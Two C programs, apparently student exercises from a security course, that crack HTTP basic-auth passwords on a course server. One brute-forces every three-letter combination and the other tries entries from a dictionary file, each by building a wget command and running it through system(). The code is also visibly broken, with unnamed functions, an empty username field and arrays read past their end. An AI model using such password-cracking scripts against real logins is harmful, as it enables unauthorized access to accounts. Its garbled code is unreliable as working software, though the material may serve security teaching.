#include <strings.h>
#include <string.h>
#include <ctype.h>
#include<sys/time.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>



int ()
{
    int i,j,k,syst;
    char password[4],first[100],last[100];
    int count =0;     
    char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
     'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
    strcpy(first, "wget --http-user= --http-passwd=");
    strcpy(last, " http://sec-crack.cs.rmit.edu./SEC/2/");
    int Start_time,End_time,Total_time,average;  
    Start_time = time();
printf(" Time =%11dms\n", Start_time);
   for (i=0;i<=52;i++)
  {
   for (j=0;j<=52;j++)
   {
	for(k=0;k<=52;k++)
	  {
	      password[0] =  arr[i];
          password[1] =  arr[j];
          password[2] =  arr[k];
          password[3] =  '\0';
		  printf(" The  Combination of the password  tried %s \n" ,password);
     	  printf("*********\n" );
          strcat(first, password);
          strcat(first, last);
	  printf("\n executing %s\n", first);
          count++;
          syst = system(first);
         if (syst == 0)
       {
        printf(" Time =%11dms\n", Start_time);
		End_time = time();
		Total_time = (End_time - Start_time);
		Total_time /= 1000000000.0;
		printf("totaltime in Seconds=%lldsec\n", Total_time);
		printf("Total number of attempts %d" , count);
        printf("\nsuccess %d %s\n",syst,password);
            exit(1);
          }
	  strcpy(first, "");
	  strcpy(first, "wget --http-user= --http-passwd=");

	         }
  	}
   }
 }






#include <sys/times.h>
#include <strings.h>
#include <string.h>
#include <ctype.h>

#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <string.h>
#include <ctype.h>
#include <sys/time.h>
#define ant 1e9
int ()
{
  FILE *fptr=NULL;
  int starttime,endtime,totaltime;
  int i,final,count=0;
  char ch[20],passwd[20],c,s1[100],s2[100];

 fptr=fopen("words","r");
  
starttime=time();
	if(fptr==NULL)
	{
		printf("file empty");
		exit(0);
	}
   strcpy(s1, "wget --http-user= --http-passwd=");
   strcpy(s2, " http://sec-crack.cs.rmit.edu./SEC/2/");

  while(!feof(fptr))
    {    
      i=0;
     c=getc(fptr);
      while(c!='\n')
        {
           ch[i]=c;
           i++;
	 c=getc(fptr);
        }
      ch[i]='\0';
      strcpy(passwd,ch);
     if(strlen(passwd)==3)
      {
      strcat(s1, passwd);
      strcat(s1,s2);           
      printf(" The combination sent is %s \n", s1); 

      final = system(s1);
	count++;

      if (final == 0)
          {
	      
		endtime=time();
		totaltime=(endtime-starttime);
		
            printf("\nsuccess  %s\n",passwd);
            printf("count %d",count);
	    printf("totaltime %1f\n",(double)totaltime/ant);

            exit(1);
          }


	  strcpy(s1, "");
	  strcpy(s1, "wget --http-user= --http-passwd=");
		
  
     }
  
  }

}
